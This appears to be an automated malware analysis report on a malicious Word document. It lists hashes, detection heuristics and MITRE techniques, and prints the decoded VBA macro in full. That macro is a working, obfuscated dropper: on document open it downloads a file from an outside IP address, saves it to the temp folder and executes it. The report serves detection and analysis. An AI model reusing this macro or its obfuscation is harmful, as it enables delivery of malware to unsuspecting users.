Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 b2d0071b7dfb2110…

MALICIOUS

Office (OLE)

70.0 KB Created: 2018-09-03 10:20:00 Authoring application: Microsoft Office Word First seen: 2019-02-26
MD5: 5338ab8aa6bc332539a048f94b16d3d0 SHA-1: acdd1fbfb1ae858c760af56b3d36f3846e4caf08 SHA-256: b2d0071b7dfb21101f63b1ab83f30653895e6f5bd81a3ffef303a51711a80057
258 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1071.001 Web Protocols

The sample contains VBA macros, including a Document_Open macro that uses CreateObject to download and execute a file. The document body presents a lure to enable content, common for macro-based malware. The critical heuristic 'OLE_VBA_HTTP_DROP_EXEC' confirms the macro's intent to download and write a file to disk, likely a second-stage payload.

Heuristics 9

  • ClamAV: Doc.Downloader.Generic-6922941-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Generic-6922941-0
  • VBA macros detected medium 5 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
    NIxRIzMXGFtfGdpDlCosSGEyQNkGfkhsvKghqAvYoHbupeJSTRWHAImzyOSUMmBteLNiKPeoIVJwWtsTBSFJjJUOheAWvnjvLb = VnYeDepjByUrPHDPgvQENlgJLsLRZOuDECHfltWkjzDFxWmeOwySvAOKtHghHQdFYDcuTuFzRAXHRXTgwLyAJhc.responseBody
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set VnYeDepjByUrPHDPgvQENlgJLsLRZOuDECHfltWkjzDFxWmeOwySvAOKtHghHQdFYDcuTuFzRAXHRXTgwLyAJhc = CreateObject("microsoft.xmlhttp")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
    DvTjcLtwQtxLVrEreFcZCkBnrQrCwOLjEdURduIeRbzuWYFZfndIRRQVszGlyxNQTLkzscKMhJOcYHUuuVerSmRqHiHS = Environ("tmp") + GwcWXVbLELqQCSVYQpSxidRmdThrbZNzbxJXFWIMnbYSliEZzEBMPfABKUPtIcvOJyenomrcUcGTSjnp("\JZÚFZV.ÂÛÂ")
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main Referenced by macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 5212 bytes
SHA-256: 65b65659b5ead68ee36e085a3b62ccc91ec34f3e8c94f3bf6ad8bc7224f0d97c
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
    Public Function GwcWXVbLELqQCSVYQpSxidRmdThrbZNzbxJXFWIMnbYSliEZzEBMPfABKUPtIcvOJyenomrcUcGTSjnp(hGVNygiCfkxIdqePrNMoVnYeDepjByUrPHDPgvQENlgJLsLRZOuDECHfltWkjzDFxWmeOwySvAOKtHghHQdF)
        MfOlUgmitKYhisPKopVdvDtYTUSXIPWnONeTWNnPvsbOkZQfpXXKKmuHjCiGXkYVPifBlwCyJbcxyIgMqGmtMUJplljo = " ?!@#$%^&*()_+|0123456789abcdefghijklmnopqrstuvwxyz.,-~ABCDEFGHIJKLMNOPQRSTUVWXYZ¿¡²³ÀÁÂÃÄÅÒÓÔÕÖÙÛÜàáâãäåض§Ú¥"
        ZSZEfQgknfDgLvrgAqhvFoobNpKXmTlWbApmgyvSoMSObesNPYjdGWpJdWMsBBAEqjqUhhwADvTjcLtwQtxLVrEreFcZCkBnr = " ¿¡@#$%^&*()_+|01²³456789ÀbÁdÂÃghÄjklmÅÒÓqÔÕÖÙvwÛÜz.,-~AàáâãFGHäJKåMNضQR§TÚVWX¥Z?!23acefinoprstuxyBCDEILOPSUY"
        For i = 1 To Len(hGVNygiCfkxIdqePrNMoVnYeDepjByUrPHDPgvQENlgJLsLRZOuDECHfltWkjzDFxWmeOwySvAOKtHghHQdF)
            QrCwOLjEdURduIeRbzuWYFZfndIRRQVszGlyxNQTLkzscKMhJOcYHUuuVerSmRqHiHSMfOlUgmitKYhisPKopVdvDtYTUSXvC = InStr(MfOlUgmitKYhisPKopVdvDtYTUSXIPWnONeTWNnPvsbOkZQfpXXKKmuHjCiGXkYVPifBlwCyJbcxyIgMqGmtMUJplljo, Mid(hGVNygiCfkxIdqePrNMoVnYeDepjByUrPHDPgvQENlgJLsLRZOuDECHfltWkjzDFxWmeOwySvAOKtHghHQdF, i, 1))
            If QrCwOLjEdURduIeRbzuWYFZfndIRRQVszGlyxNQTLkzscKMhJOcYHUuuVerSmRqHiHSMfOlUgmitKYhisPKopVdvDtYTUSXvC > 0 Then
                JZAzPFIAYChfMBVMDQbJJxxXhtVpUsKWKHBTRoXiokwNNjluRzdsYfyGwcWXVbLELqQCSVYQpSxidRmdThrbZNzbxJXFWIMnbYS = Mid(ZSZEfQgknfDgLvrgAqhvFoobNpKXmTlWbApmgyvSoMSObesNPYjdGWpJdWMsBBAEqjqUhhwADvTjcLtwQtxLVrEreFcZCkBnr, QrCwOLjEdURduIeRbzuWYFZfndIRRQVszGlyxNQTLkzscKMhJOcYHUuuVerSmRqHiHSMfOlUgmitKYhisPKopVdvDtYTUSXvC, 1)
                liEZzEBMPfABKUPtIcvOJyenomrcUcGTSjnphGVNygiCfkxIdqePrNMoVnYeDepjByUrPHDPgvQENlgJLsLRZ = liEZzEBMPfABKUPtIcvOJyenomrcUcGTSjnphGVNygiCfkxIdqePrNMoVnYeDepjByUrPHDPgvQENlgJLsLRZ + JZAzPFIAYChfMBVMDQbJJxxXhtVpUsKWKHBTRoXiokwNNjluRzdsYfyGwcWXVbLELqQCSVYQpSxidRmdThrbZNzbxJXFWIMnbYS
            Else
                liEZzEBMPfABKUPtIcvOJyenomrcUcGTSjnphGVNygiCfkxIdqePrNMoVnYeDepjByUrPHDPgvQENlgJLsLRZ = liEZzEBMPfABKUPtIcvOJyenomrcUcGTSjnphGVNygiCfkxIdqePrNMoVnYeDepjByUrPHDPgvQENlgJLsLRZ + Mid(hGVNygiCfkxIdqePrNMoVnYeDepjByUrPHDPgvQENlgJLsLRZOuDECHfltWkjzDFxWmeOwySvAOKtHghHQdF, i, 1)
            End If
        Next
        GwcWXVbLELqQCSVYQpSxidRmdThrbZNzbxJXFWIMnbYSliEZzEBMPfABKUPtIcvOJyenomrcUcGTSjnp = liEZzEBMPfABKUPtIcvOJyenomrcUcGTSjnphGVNygiCfkxIdqePrNMoVnYeDepjByUrPHDPgvQENlgJLsLRZ
    End Function

Private Sub Document_Open()
Dim VnYeDepjByUrPHDPgvQENlgJLsLRZOuDECHfltWkjzDFxWmeOwySvAOKtHghHQdFYDcuTuFzRAXHRXTgwLyAJhc
Set VnYeDepjByUrPHDPgvQENlgJLsLRZOuDECHfltWkjzDFxWmeOwySvAOKtHghHQdFYDcuTuFzRAXHRXTgwLyAJhc = CreateObject("microsoft.xmlhttp")
Dim DvTjcLtwQtxLVrEreFcZCkBnrQrCwOLjEdURduIeRbzuWYFZfndIRRQVszGlyxNQTLkzscKMhJOcYHUuuVerSmRqHiHS
Dim ITCBpbCYlzhykoOCAuMJgCbgdorGcdmwrUkDWqlZFOPNSDwEivuKOQIixpZHJeGLZkERFsSpoPxOBFfFQKdZwSrjfr
Set ITCBpbCYlzhykoOCAuMJgCbgdorGcdmwrUkDWqlZFOPNSDwEivuKOQIixpZHJeGLZkERFsSpoPxOBFfFQKdZwSrjfr = CreateObject("Shell.Application")

DvTjcLtwQtxLVrEreFcZCkBnrQrCwOLjEdURduIeRbzuWYFZfndIRRQVszGlyxNQTLkzscKMhJOcYHUuuVerSmRqHiHS = Environ("tmp") + GwcWXVbLELqQCSVYQpSxidRmdThrbZNzbxJXFWIMnbYSliEZzEBMPfABKUPtIcvOJyenomrcUcGTSjnp("\JZÚFZV.ÂÛÂ")
VnYeDepjByUrPHDPgvQENlgJLsLRZOuDECHfltWkjzDFxWmeOwySvAOKtHghHQdFYDcuTuFzRAXHRXTgwLyAJhc.Open "GET", GwcWXVbLELqQCSVYQpSxidRmdThrbZNzbxJXFWIMnbYSliEZzEBMPfABKUPtIcvOJyenomrcUcGTSjnp("hÖÖÓ://²00.6³.45.105/ÁÃÖ/ÁÃÖ.ÂÛÂ"), False
VnYeDepjByUrPHDPgvQENlgJLsLRZOuDECHfltWkjzDFxWmeOwySvAOKtHghHQdFYDcuTuFzRAXHRXTgwLyAJhc.send
NIxRIzMXGFtfGdpDlCosSGEyQNkGfkhsvKghqAvYoHbupeJSTRWHAImzyOSUMmBteLNiKPeoIVJwWtsTBSFJjJUOheAWvnjvLb = VnYeDepjByUrPHDPgvQENlgJLsLRZOuDECHfltWkjzDFxWmeOwySvAOKtHghHQdFYDcuTuFzRAXHRXTgwLyAJhc.responseBody
If VnYeDepjByUrPHDPgvQENlgJLsLRZOuDECHfltWkjzDFxWmeOwySvAOKtHghHQdFYDcuTuFzRAXHRXTgwLyAJhc.Status = 200 Then
Set sjwGqpddDMYBUAXqCqoiAxTDOTPctuPQZyfIXEKemcHCDBGrkrVwiyCEwVydNIxRIzMXGFtfGdpDlCosSGEyQNkG = CreateObject("adodb.stream")
sjwGqpddDMYBUAXqCqoiAxTDOTPctuPQZyfIXEKemcHCDBGrkrVwiyCEwVydNIxRIzMXGFtfGdpDlCosSGEyQNkG.Open
sjwGqpddDMYBUAXqCqoiAxTDOTPctuPQZyfIXEKemcHCDBGrkrVwiyCEwVydNIxRIzMXGFtfGdpDlCosSGEyQNkG.Type = 1
sjwGqpddDMYBUAXqCqoiAxTDOTPctuPQZyfIXEKemcHCDBGrkrVwiyCEwVydNIxRIzMXGFtfGdpDlCosSGEyQNkG.Write NIxRIzMXGFtfGdpDlCosSGEyQNkGfkhsvKghqAvYoHbupeJSTRWHAImzyOSUMmBteLNiKPeoIVJwWtsTBSFJjJUOheAWvnjvLb
sjwGqpddDMYBUAXqCqoiAxTDOTPctuPQZyfIXEKemcHCDBGrkrVwiyCEwVydNIxRIzMXGFtfGdpDlCosSGEyQNkG.SaveToFile DvTjcLtwQtxLVrEreFcZCkBnrQrCwOLjEdURduIeRbzuWYFZfndIRRQVszGlyxNQTLkzscKMhJOcYHUuuVerSmRqHiHS, 2
sjwGqpddDMYBUAXqCqoiAxTDOTPctuPQZyfIXEKemcHCDBGrkrVwiyCEwVydNIxRIzMXGFtfGdpDlCosSGEyQNkG.Close
End If
ITCBpbCYlzhykoOCAuMJgCbgdorGcdmwrUkDWqlZFOPNSDwEivuKOQIixpZHJeGLZkERFsSpoPxOBFfFQKdZwSrjfr.Open (DvTjcLtwQtxLVrEreFcZCkBnrQrCwOLjEdURduIeRbzuWYFZfndIRRQVszGlyxNQTLkzscKMhJOcYHUuuVerSmRqHiHS)


End Sub

Attribute VB_Name = "NewMacros"
Sub Taste()
'
' Taste Macro
'
'

End Sub

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